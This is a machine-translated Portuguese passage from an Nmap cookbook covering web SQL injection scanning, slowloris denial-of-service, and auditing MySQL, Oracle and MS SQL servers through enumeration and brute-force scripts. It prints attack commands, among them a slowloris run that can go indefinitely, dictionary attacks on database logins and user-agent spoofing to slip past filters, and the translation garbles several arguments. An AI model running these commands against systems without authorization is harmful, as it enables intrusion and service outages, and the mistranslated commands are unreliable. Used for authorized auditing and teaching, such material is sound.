SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto vista-oh

| http-sql-injection:
| Possível sqli para consultas: |_
http://xxx/index.php?param=13'%20OR%20sqlspider

Como funciona...
O script http-sql-injection.nse foi escrito por Eddie Bell e Piotr Olma. Ele rastreia um servidor da Web procurando
formulários e URIs com parâmetros e tenta encontrar vulnerabilidades de injeção de SQL. O script determina se o servidor
está vulnerável inserindo consultas SQL que provavelmente causarão um erro no aplicativo. Isso significa que o script não
detectará nenhuma vulnerabilidade de injeção cega de SQL.

As mensagens de erro que o script corresponde são lidas de um arquivo externo localizado por padrão em /
nselib/data/http-sql-errors.lst. Este arquivo foi retirado do projeto fuzzdb (http://code.google.com/p/fuzzdb/), e os usuários
podem escolher um arquivo alternativo, se necessário.

138

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Tem mais...
O comportamento da biblioteca httpspider pode ser configurado por meio de argumentos da biblioteca. Por padrão,
ele usa valores bastante conservadores para economizar recursos, mas durante um teste abrangente, precisamos
ajustar vários deles para obter os melhores resultados. Por exemplo, a biblioteca rastreará apenas 20 páginas por
padrão, mas podemos definir o argumento httpspider.maxpagecount adequadamente para sites maiores, conforme
mostrado no seguinte comando:

$ nmap -p80 --script http-sql-injection --script-args httpspider. maxpagecount=200 <destino>

Outro argumento interessante é httpspider.withinhost, que limita o rastreador da web a um determinado host.
Isso é ativado por padrão, mas se você precisar testar uma coleção de aplicativos da Web vinculados entre si,
poderá usar o seguinte comando:

$ nmap -p80 --script http-sql-injection --script-args httpspider. dentro do host=false <alvo>

Também podemos definir a profundidade máxima dos diretórios que queremos cobrir. Por padrão, esse valor é
apenas 3, portanto, se você perceber que o servidor da web possui arquivos profundamente aninhados,
especialmente quando "urls bonitos" como /blog/5/news/comment/ são implementados, recomendo que você
atualize este argumento de biblioteca:

$ nmap -p80 --script http-sql-injection --script-args httpspider. profundidade máxima=10 <alvo>

A documentação oficial da biblioteca pode ser encontrada em http://nmap.org/nsedoc/lib/ httpspider.html.

HTTP User Agent Existem


alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o HTTP User Agent padrão
do Nmap. Você pode usar um valor de User Agent diferente definindo o argumento http.useragent:

$ nmap -p80 --script http-sql-injection --script-args http. useragent="Mozilla 42" <alvo>

Pipelining HTTP Alguns


servidores web permitem o encapsulamento de mais de uma requisição HTTP em um único pacote.
Isso pode acelerar a execução de um script NSE HTTP e é recomendável que seja usado se o servidor da Web
for compatível. A biblioteca HTTP, por padrão, tenta canalizar 40 solicitações e ajusta automaticamente esse
número de acordo com as condições de tráfego, com base no cabeçalho Keep-Alive .

$ nmap -p80 --script http-sql-injection --script-args http.pipeline=25 <alvo>

139

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Além disso, você pode usar o argumento http.max-pipeline para definir o número máximo de solicitações HTTP a serem
adicionadas ao pipeline. Se o parâmetro de script http.pipeline for definido, este argumento será ignorado:

$ nmap -p80 --script http-methods --script-args http.max-pipeline=10 <alvo>

Veja também

f A receita para detectar possíveis vulnerabilidades XST f A receita

para detectar firewalls de aplicativos da web

f A receita Detectando vulnerabilidades de Cross Site Scripting em aplicativos da Web

f A receita de detecção de servidores web vulneráveis a ataques de negação de serviço slowloris

Detectando servidores web vulneráveis a


ataques de negação de serviço slowloris
O ataque de negação de serviço é muito popular atualmente, e o Nmap pode ajudar os pentesters a detectar servidores da
Web vulneráveis a esses tipos de ataques. Presume-se que a técnica "slowloris negação de serviço" tenha sido descoberta
por Adrian Ilarion Ciobanu em 2007, mas Rsnake lançou a primeira ferramenta no DEFCON 17 provando que afeta vários
produtos, incluindo Apache 1.x, Apache 2.x, dhttpd , e possivelmente muitos outros servidores web.

Esta receita mostra como detectar se um servidor web é vulnerável a ataques Slowloris DoS usando o Nmap.

Como fazer isso...

Para lançar um ataque slowloris contra um servidor web remoto com Nmap, use o seguinte comando:

# nmap -p80 --script http-slowloris --max-parallelism 300 <alvo>

Os resultados incluem algumas estatísticas de ataque:

MOTIVO DO SERVIÇO DO ESTADO DO PORTO

80/tcp http aberto | http- vista-oh

slowloris:

| Vulnerável: | | com
o ataque DoS levou +5m35s
300 conexões

simultâneas |_ e 900 consultas enviadas

140

www.it-ebooks.info
Machine Translated by Google

Capítulo 4

Como funciona...
O argumento -p80 --script http-slowloris inicia o script NSE http-slowloris se um servidor web
for detectado na porta 80 (-p80).

A técnica Slowloris DoS funciona de forma diferente de outras técnicas de negação de serviço, onde os canais
de comunicação são inundados com solicitações. O Slowloris usa largura de banda mínima e não consome
muitos recursos, enviando o mínimo de informações para evitar que uma conexão seja fechada.

O artigo oficial do RSnake pode ser encontrado em http://ha.ckers.org/slowloris/.

O roteiro da NSE foi escrito por Aleksandar Nikolic e Ange Gutek. A documentação oficial pode ser encontrada
na seguinte url:

http://nmap.org/nsedoc/scripts/http-slowloris.html

Tem mais...
Para definir o tempo entre cada cabeçalho HTTP, use o argumento de script http-slowloris. send_interval
usando o seguinte comando:

$ nmap -p80 --script http-slowloris --script-args http-slowloris.send_ intervalo=200 --max-parallelism 300

Para executar o ataque slowloris por um determinado período de tempo, use o argumento de script
http slowloris.timelimit conforme mostrado no seguinte comando:

$ nmap -p80 --script http-slowloris --script-args http-slowloris. limite de tempo=15m <alvo>

Como alternativa, existe um argumento que pode ser usado para dizer ao Nmap para atacar o alvo
indefinidamente, conforme mostrado no seguinte comando:

$ nmap -p80 --script http-slowloris --script-args http-slowloris. correr para sempre <alvo>

Há outro script NSE para verificar se há servidores da Web vulneráveis, chamado http-slowloris check, escrito
por Aleksandar Nikolic. Este script envia apenas duas solicitações e usa uma maneira inteligente de detectar
servidores vulneráveis lendo e comparando os tempos limite de conexão:

$ nmap -p80 --script http-slowloris-check <alvo>

HTTP User Agent Existem


alguns produtos de filtragem de pacotes que bloqueiam solicitações feitas usando o HTTP User Agent
padrão do Nmap. Você pode usar um valor de User Agent diferente definindo o argumento http.useragent:

$ nmap -p80 --script http-slowloris --script-args http.useragent="Mozilla 42" <alvo>

141

www.it-ebooks.info
Machine Translated by Google

Auditoria de Servidores Web

Veja também

f A receita de detecção de possíveis vulnerabilidades XST

f A receita para descobrir arquivos e diretórios interessantes em vários servidores da Web

f A receita de detecção de firewalls de aplicativos da web f A

receita de teste de credenciais padrão em aplicativos da web

f A receita Encontrando vulnerabilidades de injeção de SQL em aplicativos da web

142

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria


5
Este capítulo mostra como fazer algumas coisas que, em muitas situações, podem
ser ilegais, antiéticas, uma violação dos termos de serviço ou simplesmente não
ser uma boa ideia. Ele é fornecido aqui para fornecer informações que podem ser
úteis para se proteger contra ameaças e tornar seu próprio sistema mais seguro.
Antes de seguir estas instruções, certifique-se de estar do lado certo da linha legal
e ética... use seus poderes para o bem!

Neste capítulo, abordaremos:

f Listando bancos de dados MySQL

f Listando usuários do MySQL

f Listando variáveis MySQL f

Encontrando contas root com senhas vazias em servidores MySQL

f Força bruta de senhas do MySQL

f Detecção de configurações inseguras em servidores MySQL f Força

bruta de senhas Oracle

f Força bruta de nomes Oracle SID

f Recuperando informações do servidor MS SQL f

Brute forçando senhas MS SQL

f Despejando os hashes de senha de um servidor MS SQL

f Executando comandos por meio do shell de comando em servidores MS SQL f Encontrando

contas de administrador de sistema com senhas vazias em servidores MS SQL

f Listagem de bancos de dados MongoDB

f Recuperando informações do servidor MongoDB f

Listando bancos de dados CouchDB

f Recuperando estatísticas do banco de dados CouchDB

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Introdução

Os aplicativos da Web devem armazenar diferentes tipos de informações. Dependendo do caso, pode haver
milhões de registros necessários para serem armazenados em algum lugar e é aí que entram os bancos de dados. .

O Nmap NSE adicionou suporte para vários servidores de banco de dados. Os administradores de sistema acharão útil
que, com a ajuda do Nmap, possamos automatizar várias tarefas ao lidar com vários servidores de banco de dados,
como executar uma consulta para nos informar sobre o status. Por outro lado, proteger um servidor de banco de dados
deve ser feito com cuidado e é tão importante quanto proteger o servidor web. O Nmap também nos ajuda com isso,
suportando ações automatizadas, como verificar senhas de root vazias e configurações inseguras.

Este capítulo aborda diferentes scripts NSE para os bancos de dados relacionais mais comuns, como MySQL,
MS SQL e Oracle, e bancos de dados nosql , como CouchDB e MongoDB.
Começamos apresentando tarefas simples, como recuperar informações de status e listar bancos de dados,
tabelas e instâncias. Também cobrimos a auditoria de senha de força bruta, pois encontrar senhas fracas ou, em
alguns casos, nenhuma senha em bancos de dados é uma ocorrência comum durante as avaliações de teste de
penetração. Neste capítulo, também falo sobre um dos meus scripts NSE favoritos que foi escrito para auditar
configurações inseguras usando partes do benchmark de segurança CIS MySQL. Após este capítulo, espero que você
aprenda como implementar diferentes verificações de segurança e integridade em sua infraestrutura com a ajuda
desses poderosos scripts NSE.

Listando bancos de dados MySQL


Os servidores MySQL podem conter vários bancos de dados. Como administradores de sistema com acesso
legítimo ou testadores de penetração que acabaram de comprometer o servidor, podemos listar os bancos de
dados disponíveis usando o Nmap.

Esta receita ensina como usar o Nmap NSE para listar bancos de dados em um servidor MySQL.

Como fazer isso...


Abra um terminal e digite o seguinte comando:

$ nmap -p3306 --script mysql-databases --script-args


mysqluser=<usuário>,mysqlpass=<senha> <alvo>

Os bancos de dados devem ser listados nos resultados do script.

3306/tcp abre mysql

| bancos de dados mysql:

| esquema_de_informação

144

www.it-ebooks.info
Machine Translated by Google

capítulo 5

temperatura

| | websec | |
_crm identificadores

Como funciona...

O argumento -p3306 --script mysql-databases --script-args mysqluser=<usuário>,mysqlpass=<senha> informa


ao Nmap para tentar uma conexão com o servidor MySQL usando as credenciais fornecidas (--script-args
mysqluser=<usuário >,mysqlpass=<senha>) e tenta listar todos os bancos de dados disponíveis no servidor.

O script mysql-databases foi escrito por Patrik Karlsson para ajudar os usuários do Nmap a enumerar bancos
de dados em instalações MySQL.

Tem mais...

Para tentar enumerar bancos de dados se uma conta root vazia for encontrada, podemos usar o comando:

# nmap -p3306 --script mysql-empty-password,mysql-databases <alvo>

Se o serviço estiver rodando em uma porta diferente de 3306, podemos usar a detecção de serviço do Nmap
(-sV) ou definir a porta manualmente com o argumento -p.

# nmap -sV --script mysql-databases <destino>$ nmap -p1111 –script mysql-databases <destino>

Veja também

f A receita Listing MySQL users

f A receita de listagem de variáveis MySQL

f A receita Encontrando contas root com senhas vazias em servidores MySQL f A receita

Brute forçando senhas MySQL

f A receita Detectando configurações inseguras em servidores MySQL

Listando usuários do MySQL


Os servidores MySQL suportam acesso granular a bancos de dados, o que significa que pode haver vários
usuários em uma única instalação.

Esta receita mostra como usar o Nmap para enumerar usuários em servidores MySQL.

145

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Como fazer isso...


Abra um terminal e digite o seguinte comando:

$ nmap -p3306 --script mysql-users --script-args


mysqluser=<usuário>,mysqlpass=<pass> <alvo>

Uma lista de nomes de usuário será incluída na seção mysql-users :

3306/tcp abre mysql

| usuários-mysql:
raiz|_
| | | web
CRM
administrador

Como funciona...
O argumento -p3306 --script mysql-users --script-args mysqluser=<usuário >,mysqlpass=<pass> faz o Nmap
iniciar o script mysql-users se um servidor MySQL for encontrado na porta 3306.

O script mysql-users foi enviado por Patrik Karlsson e enumera nomes de usuários em servidores MySQL
usando as credenciais de autenticação fornecidas. Se nenhuma credencial de autenticação for definida com
os argumentos de script mysqluser e mysqlpass, ele tentará usar os resultados de mysql-brute e mysql-empty-
password.

Tem mais...
Para enumerar bancos de dados e usuários em instalações MySQL com contas root com uma senha
vazia, use o seguinte comando:

$ nmap -sV --script mysql-empty-password,mysql-databases,mysql-users <alvo>

Se o servidor MySQL estiver rodando em uma porta diferente da 3306, você pode usar o scan de serviço
do Nmap ou definir a porta manualmente com o argumento -p.

$ nmap -p3333 --script mysql-users <alvo>$ nmap -sV --script mysql-users <alvo>

146

www.it-ebooks.info
Machine Translated by Google

capítulo 5

Veja também

f A receita de Listagem de bancos de dados


MySQL f A receita de Listagem de variáveis
MySQL f A receita de Encontrar contas root com senhas vazias em servidores MySQL f A receita
de força bruta de senhas MySQL f A receita de Detectar configurações inseguras em servidores
MySQL

Listando variáveis do MySQL


Os servidores MySQL possuem diversas variáveis de ambiente que são usadas de maneiras diferentes por
administradores de sistema e desenvolvedores web.

Esta receita mostra como usar o Nmap para listar variáveis de ambiente em servidores MySQL.

Como fazer isso...

Abra seu terminal e digite o seguinte comando Nmap:

$ nmap -p3306 --script mysql-variables --script-args


mysqluser=<root>,mysqlpass=<pass> <target>

As variáveis do MySQL serão listadas em mysql-variables:

3306/tcp abrir mysql |


variáveis mysql: |
auto_increment_increment: 1 |
auto_increment_offset: 1 |
automatic_sp_privileges: ON |
back_log: 50 | baseado em: /usr/ |
binlog_cache_size: 32768 |
bulk_insert_buffer_size: 8388608 |
character_set_client: latin1 |
character_set_connection: latin1 |
character_set_database: latin1 | | | |
versão_comentário: (Debian) |
.
version_compile_machine: powerpc |
.
version_compile_os: debian-linux-gnu |_
.
wait_timeout: 28800

147

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Como funciona...

Usamos os argumentos -p3306 --script mysql-variables --script-args mysql user=<root>,mysqlpass=<pass> para


fazer o Nmap iniciar o script mysql-variables se um servidor MySQL for encontrado rodando na porta 3306.

O script mysql-variables foi enviado por Patrik Karlsson e usa os argumentos de script mysqluser e
mysqlpass como credenciais de autenticação em um servidor MySQL para tentar enumerar as variáveis do
sistema.

Tem mais...

Se o servidor MySQL estiver executando em uma porta diferente de 3306, podemos usar a detecção de
serviço do Nmap ou definir manualmente a porta com o argumento -p .

$ nmap -sV --script mysql-variables <destino>$ nmap -p5555 --script mysql-variables <destino>

Para recuperar bancos de dados, nomes de usuários e variáveis de um servidor MySQL com uma senha raiz
vazia, use o seguinte comando:

$ nmap -sV --script mysql-variables,mysql-empty-password,mysql databases,mysql-users


<target>

Veja também

f A receita de listagem de bancos de dados MySQL

f A receita de listagem de usuários MySQL

f A receita Encontrando contas root com senhas vazias em servidores MySQL

f A receita de senhas MySQL de força bruta f A receita de

detecção de configurações inseguras em servidores MySQL

Encontrar contas root com senhas


vazias em servidores MySQL
Novos administradores de sistema geralmente cometem o erro de deixar a conta root de um servidor MySQL
sem senha. Esta é uma vulnerabilidade de segurança flagrante que pode ser explorada por invasores. Testadores
de penetração e administradores de sistema precisam detectar essas instalações vulneráveis antes que os
criminosos o façam.

Esta receita mostrará como usar o Nmap para verificar senhas root vazias em servidores MySQL.

148

www.it-ebooks.info
Machine Translated by Google

capítulo 5

Como fazer isso...


Abra um terminal e digite o seguinte comando:

$ nmap -p3306 --script mysql-empty-password <alvo>

Se as contas raiz ou anônima tiverem uma senha vazia, ela será mostrada nos resultados do script:

Relatório de verificação do Nmap para


127.0.0.1 O host está ativo (latência de 0,11s).
3306/tcp abrir mysql | mysql-empty-password:
|_ conta root tem senha vazia

Como funciona...
O argumento -p3306 --script mysql-empty-password faz com que o Nmap inicie o script NSE mysql-empty-
password se um servidor MySQL for encontrado rodando na porta 3306.

Este script foi enviado por Patrik Karlsson e se conecta a um servidor MySQL e tenta as contas root e
anônimas com uma senha vazia.

Tem mais...
Para tentar uma lista personalizada de nomes de usuários, você precisa modificar o script NSE
mysql-empty password.nse localizado no diretório do seu script. Localize a seguinte linha no arquivo:

usuários locais = {"", "root"}

E substitua-o por sua própria lista de nomes de usuário, assim:

usuários locais = {"plesk", "root","cpanel","test","db"}

Basta salvá-lo e executá-lo como mostrado anteriormente:

$ nmap -sV --script mysql-empty-password <destino>


$ nmap -p3306 --script mysql-empty-password <alvo>

Veja também

f A receita de listagem de bancos de dados


MySQL f A receita de listagem de usuários
MySQL f A receita de listagem de variáveis
MySQL f A receita de senhas MySQL de força bruta f A
receita de detecção de configurações inseguras em servidores MySQL

149

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Força bruta de senhas do MySQL


Às vezes, os servidores da Web retornam erros de conexão com o banco de dados que revelam o nome de usuário
do MySQL usado pelo aplicativo da Web. Os testadores de penetração podem usar essas informações para realizar
auditoria de senha de força bruta.

Esta receita descreve como iniciar ataques de dicionário contra servidores MySQL usando o Nmap.

Como fazer isso...


Para executar a auditoria de senha de força bruta em servidores MySQL usando o Nmap, use o seguinte comando:

$ nmap -p3306 --script mysql-brute <alvo>

Se forem encontradas credenciais válidas, elas serão incluídas na seção de saída do mysql-brute :

3306/tcp abrir mysql | mysql-

bruto: | root:<empty> =>

Credenciais válidas

|_ teste:teste => Credenciais válidas

Como funciona...
O script mysql-brute foi escrito por Patrik Karlsson e é muito útil ao auditar servidores MySQL. Ele executa ataques de
dicionário para encontrar credenciais válidas. A taxa de sucesso obviamente dependerá dos arquivos de dicionário
usados ao executar o script.

Tem mais...
O servidor MySQL pode estar executando em uma porta não padrão. Você pode definir a porta manualmente
especificando o argumento -p ou usando a detecção de serviço do Nmap:

$ nmap -sV --script mysql-brute <alvo>$ nmap -p1234 --script mysql brute <alvo>

O script mysql-brute depende das bibliotecas NSE unpwdb e brute. Essas bibliotecas têm vários argumentos de script
que podem ser usados para ajustar sua auditoria de senha de força bruta.

f Para usar listas de nome de usuário e senha diferentes, defina os argumentos userdb e passdb,
respectivamente:

$ nmap -p3306 --script mysql-brute --script-args userdb=/var/


usernames.txt,passdb=/var/passwords.txt <destino>

150

www.it-ebooks.info
Machine Translated by Google

capítulo 5

f Para sair depois de encontrar uma conta válida, use o argumento brute.firstOnly:
$ nmap -p3306 --script mysql-brute --script-args brute.firstOnly <target>

f Para definir um limite de tempo limite diferente, use o argumento unpwd.timelimit. Para executá-lo
indefinidamente, defina-o como 0:

$ nmap -p3306 --script mysql-brute --script-args unpwdb.timelimit=0


<alvo>$ nmap -p3306 --script mysql-brute --script-args unpwdb.timelimit=60m
<alvo>

modos brutos
A biblioteca bruta suporta diferentes modos que alteram as combinações de nome de usuário/senha usadas no
ataque. Os modos disponíveis são:

f user: Para cada usuário listado em userdb, todas as senhas em passdb serão tentadas

$ nmap --script mysql-brute --script-args brute.mode=user <target>

f pass: Para cada senha listada em passdb, todos os usuários em userdb serão tentados

$ nmap --script mysql-brute --script-args brute.mode=pass <alvo>

f creds: Isso requer o argumento adicional brute.credfile

$ nmap --script mysql-brute --script-args


brute.mode=creds,brute.credfile=./creds.txt <alvo>

Veja também

f A receita Listar bancos de dados MySQL f A


receita Listar usuários MySQL f A receita Listar
variáveis MySQL f A receita Encontrar contas root
com senhas vazias em servidores MySQL f A receita Detectar configurações inseguras em
servidores MySQL

Detectando configurações inseguras no MySQL


servidores

Configurações inseguras em bancos de dados podem ser abusadas por invasores. O Center for Internet Security
(CIS) publica um benchmark de segurança para MySQL, e o Nmap pode usar isso para auditar as configurações de
segurança de um servidor MySQL.

Esta receita mostra como detectar configurações inseguras em servidores MySQL usando o Nmap.

151

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Como fazer isso...


Para detectar configurações inseguras em servidores MySQL, digite o seguinte comando:

$ nmap -p3306 --script mysql-audit --script-args 'mysql audit.username="<username>",mysql-


audit.password="<password>",mysql audit.filename=/usr/local/share /nmap/nselib/data/mysql-cis.audit' <alvo>

Cada controle será revisado e uma legenda de PASS, FAIL ou REVIEW será incluída nos
resultados:

PORTA SERVIÇO DE ESTADO

3306/tcp abre mysql

| mysql-audit: | | | | | | | | |

Referências
| | | | | base de dadosCIS MySQL v1.0.2

3.1: Pular links simbólicos => PASS

3.2: Logs não na partição do sistema => PASS

3.2: Logs não na partição do banco de dados => PASS

4.1: Versão suportada do MySQL => REVISÃO

Versão: 5.1.41-3ubuntu12.10

4.4: Remover banco de dados de teste => APROVADO

4.5: Alterar nome da conta de administrador => FALHA

4.7: Verificar hashes de senha segura => PASS

4.9: Curingas no nome do host do usuário => PASS

4.10: Sem senhas em branco => PASS

4.11: Conta anônima => PASS

5.1: Acesso ao banco de dados mysql => REVISÃO

Verifique os seguintes usuários que têm acesso ao MySQL

|
do utilizador hospedar

|
raiz host local

|
raiz construtor64

|
raiz 127.0.0.1

|
host local debian-sys-maint

|
5.2: Não conceda privilégios FILE a usuários não administradores => PASS

|
5.3: Não conceda privilégios PROCESS a usuários não administradores =>
PASSAR

152

www.it-ebooks.info
Machine Translated by Google

capítulo 5

5.4: Não conceda privilégios SUPER a usuários não administradores => PASS

|| 5.5: Não conceda privilégios de SHUTDOWN a usuários não administradores =>


PASSAR

| 5.6: Não conceda privilégios CREATE USER a usuários não administradores


=> PASSA

| 5.7: Não conceda privilégios RELOAD a usuários não administradores =>


PASSAR

5.8: Não conceda privilégios GRANT a usuários não administradores => PASS
6.2: Desabilitar Load data local => FAIL

6.3: Desativar hashing de senha antiga => PASS


6.4: Banco de dados de show seguro => FALHA

6.5: Autenticação segura => FALHA

6.6: Tabelas de concessão => FALHA

6.7: Ignorar mesclagem => FALHA

6.8: Pular rede => FALHA


6.9: Criação segura de usuário => FALHA

6.10: Ignorar links simbólicos => FALHA

| | | | | | | | | | | |_ A auditoria foi realizada usando a conta db: root

Como funciona...
Os argumentos do script -p3306 --script mysql-audit dizem ao Nmap para iniciar o script NSE mysql-
audit se um servidor MySQL for encontrado rodando na porta 3306.

O script mysql-audit foi desenvolvido por Patrik Karlsson e verifica configurações inseguras
usando partes do benchmark CIS MySQL. Também é muito flexível e permite verificações
personalizadas especificando regras alternativas.

Tem mais...
Se o seu servidor MySQL tiver contas administrativas diferentes de root e debian-sys-maint, você
deve localizar a seguinte linha em $ nmap_path/nselib/data/mysql-cis.audit e adicioná-los para
configurar o script:

local ADMIN_ACCOUNTS={"root", "debian-sys-maint". "rede"}

153

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

Lembre-se de que você pode escrever suas próprias regras em um arquivo separado e usar o argumento de script
mysql-audit.fingerprintfile para fazer referência a isso. As regras de auditoria se parecem com o seguinte:

test { id="3.1", desc="Ignorar links simbólicos", sql="MOSTRAR variáveis WHERE Variable_name =


'log_error' AND Value IS NOT NULL", check=function(rowstab)

return { status = not(isEmpty(rowstab[1])) }


fim
}

Os servidores MySQL podem ser executados em uma porta não padrão. Use a detecção de serviço do Nmap (-sV) ou
defina a porta manualmente especificando o argumento da porta (-p):

$ nmap -sV --script mysql-brute <destino>$ nmap -p1234 --script mysql-brute <destino>

Veja também

f A receita de listagem de bancos de dados MySQL

f A receita Listando usuários MySQL f A

receita Listando variáveis MySQL f A receita

Encontrando contas root com senhas vazias em servidores MySQL

f A receita de senhas MySQL de força bruta

Força bruta de senhas Oracle


Os administradores de sistema que gerenciam vários bancos de dados geralmente precisam verificar senhas fracas
como parte da política da organização. Os testadores de penetração também aproveitam as senhas fracas para obter
acesso não autorizado. Convenientemente, o Nmap NSE oferece uma maneira de executar auditoria remota de senha
de força bruta em servidores de banco de dados Oracle.

Esta receita mostra como executar auditoria de senha de força bruta no Oracle usando o Nmap.

Como fazer isso...

Abra um terminal e execute o Nmap com o seguinte argumento:

$ nmap -sV --script oracle-brute --script-args oracle-brute.sid=TEST <alvo>

Quaisquer credenciais válidas encontradas serão incluídas nos resultados na seção de saída do script:

PORTA MOTIVO DE SERVIÇO ESTADUAL

154

www.it-ebooks.info
Machine Translated by Google

capítulo 5

1521/tcp open oracle syn-ack

| oráculo-bruto:

| Contas |
system:system => credenciais válidas

| Estatísticas |_
Realizou 103 palpites em 6 segundos, tps médio: 17

Como funciona...
O argumento -sV --script oracle-brute --script-args oracle-brute. sid=TEST faz com que o Nmap inicie o script
oracle-brute contra a instância TEST se um servidor Oracle for detectado.

O script oracle-brute foi enviado por Patrik Karlsson e ajuda testadores de penetração e administradores de
sistema a lançar ataques de dicionário contra servidores Oracle para tentar obter credenciais válidas.

Tem mais...
Atualize o arquivo nselib/data/oracle-default-accounts.lst para adicionar contas padrão.

O script oracle-brute depende das bibliotecas NSE unpwdb e brute. Essas bibliotecas têm vários argumentos de script
que podem ser usados para ajustar sua auditoria de senha de força bruta.

f Para usar listas de nome de usuário e senha diferentes, defina os argumentos userdb
e passdb, respectivamente:

$ nmap -sV --script oracle-brute --script-args userdb=/var/


usernames.txt,passdb=/var/passwords.txt <alvo>

f Para sair depois de encontrar uma conta válida, use o argumento brute.firstOnly:

$ nmap -sV --script oracle-brute --script-args brute.firstOnly <alvo>

f Para definir um limite de tempo limite diferente, use o argumento unpwd.timelimit. Para executá-lo
indefinidamente, defina-o como 0:

$ nmap -sV --script oracle-brute --script-args unpwdb.timelimit=0


<alvo>$ nmap -sV --script oracle-brute --script-args unpwdb.timelimit=60m <alvo>

155

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

modos brutos
A biblioteca bruta suporta diferentes modos que alteram as combinações de nome de usuário/senha
usadas no ataque. Os modos disponíveis são:

f user: Para cada usuário listado em userdb, todas as senhas em passdb serão tentadas
$ nmap --script oracle-brute --script-args brute.mode=user <target>

f pass: Para cada senha listada em passdb, todos os usuários em userdb serão tentados
$ nmap --script oracle-brute --script-args brute.mode=pass <alvo>

f creds: Isso requer o argumento adicional brute.credfile

$ nmap --script oracle-brute --script-args


brute.mode=creds,brute.credfile=./creds.txt <alvo>

Veja também

f A receita de nomes Oracle SID de força bruta

Nomes Oracle SID de força bruta


Os servidores Oracle têm nomes SID e os testadores de penetração precisam encontrá-los. Graças ao
Nmap, podemos tentar listá-los executando um ataque de dicionário contra o ouvinte do TNS.

Esta receita mostra como força bruta os nomes SID do Oracle usando o Nmap.

Como fazer isso...

Para nomes SID Oracle de força bruta, use o seguinte comando Nmap:

$ nmap -sV --script oracle-sid-brute <alvo>

Todos os SIDs encontrados serão incluídos na seção de saída do script NSE para
oráculo-sid-bruto:

PORTA MOTIVO DE SERVIÇO ESTADUAL

1521/tcp open oracle syn-ack

| oracle-sid-brute: | orcl |

produzir |_ desenvolver

156

www.it-ebooks.info
Machine Translated by Google

capítulo 5

Como funciona...
O argumento -sV --script oracle-sid-brute diz ao Nmap para iniciar a detecção de serviço (-sV) e usar o script
NSE oracle-sid-brute.

O script NSE oracle-sid-brute foi enviado por Patrik Karlsson para ajudar os testadores de penetração a
enumerar os SIDs do Oracle realizando um ataque de dicionário contra o TNS da Oracle. Este script será
executado se um host tiver um serviço oracle-tns em execução ou tiver a porta 1521 aberta.

Tem mais...
Por padrão, o script usa o dicionário localizado em nselib/data/oracle-sids , mas você pode especificar um
arquivo diferente definindo o argumento do script oraclesids:

$ nmap -sV --script oracle-sid-brute --script-args oraclesids=/home/pentest/


sids.txt <alvo>

Veja também

f A receita de senhas Oracle de força bruta

Recuperando informações do servidor MS SQL


Os administradores de sistema e os testadores de penetração geralmente precisam coletar o máximo possível
de informações do host. Bancos de dados MS SQL são comuns em infraestruturas baseadas em tecnologias
Microsoft, e o Nmap pode nos ajudar a coletar informações deles.

Esta receita mostra como recuperar informações de um servidor MS SQL.

Como fazer isso...


Para recuperar informações de um servidor MS SQL usando o Nmap, execute o seguinte comando:

$ nmap -p1433 --script ms-sql-info <alvo>

As informações do servidor MS SQL, como nome da instância, número da versão e porta, serão
incluídas na saída do script:

PORTA SERVIÇO DE ESTADO

1433/tcp abre ms-sql-s

Resultados do script de host:

157

www.it-ebooks.info
Machine Translated by Google

Bancos de dados de auditoria

| ms-sql-info:

| Nome do servidor Windows: CLDRN-PC | | | | | | |

_ [192.168.1.102\MSSQLSERVER]

Nome da instância: MSSQLSERVER

Versão: Microsoft SQL Server 2011


Número da versão: 11.00.1750.00

Produto: Microsoft SQL Server 2011

Porta TCP: 1433


Agrupado: Não

Como funciona...
Os servidores MS SQL geralmente são executados na porta 1433. Usamos o argumento -p1433 --
script ms-sql-info para iniciar o script NSE ms-sql-info se um servidor MS SQL estiver sendo
executado nessa porta.

O script ms-sql-info foi enviado por Chris Woodbury e Thomas Buchanan. Ele se conecta a um
servidor MS SQL e recupera o nome da instância, nome da versão, número da versão, nome do
produto, nível do service pack, lista de patches, porta TCP/UDP e se está em cluster ou não. Ele
coleta essas informações do serviço SQL Server Browser, se disponível (porta UDP 1434), ou de uma
investigação para o serviço.

Tem mais...
Se a porta 445 estiver aberta, você pode usá-la para recuperar as informações por meio de pipes. É necessário
definir o argumento mssql.instance-name ou mssql.instance-all:

$ nmap -sV --script-args mssql.instance-name=MSSQLSERVER --script ms-sql-info -p445 -v <alvo>

$ nmap -sV --script-args mssql.instance-all --script ms-sql-info -p445 -v <alvo>

A saída é a seguinte:

PORTA SERVIÇO DE ESTADO VERSÃO

445/tcp aberto netbios-ssn

Resultados do script de host:

| ms-sql-info:

| Nome do servidor Windows: CLDRN-PC

158

www.it-ebooks.info
Machine Translated by Google

capítulo 5

[192.168.1.102\MSSQLSERVER]

Nome da instância: MSSQLSERVER

Versão: Microsoft SQL Server 2011


Número da versão: 11.00.1750.00

Produto: Microsoft SQL Server 2011

Porta TCP: 1433

| | | | | | |_
Agrupado: Não

Forçar portas verificadas apenas em scripts NSE para MS SQL


Os scripts NSE ms-sql-brute, ms-sql-config.nse, ms-sql-empty-password, ms-sql-
hasdbaccess.nse,ms-sql-info.nse , ms-sql-query.nse, ms-sql tables.nse e ms-sql-
xp-cmdshell.nse podem tentar se conectar a portas que não foram incluídas em
sua verificação. Para limitar o NSE a usar apenas portas verificadas, use o argumento
mssql. scan-ports-only:
$ nmap -p1433 --script-args mssql.scanned-ports-only --script ms-sql-* -v <alvo>

Veja também

f A receita de senhas do MS SQL de força bruta f A receita

de despejo dos hashes de senha de uma receita do servidor MS SQL

f A receita Executando comandos através do shell de comando nos servidores MS SQL

f A receita Encontrando contas de administrador de sistema com senhas vazias em servidores MS SQL

Força bruta de senhas do MS SQL


Os administradores de sistema e testadores de penetração geralmente precisam verificar senhas fracas como
parte da política de segurança da organização. O Nmap pode nos ajudar a realizar ataques de dicionário
contra servidores MS SQL.

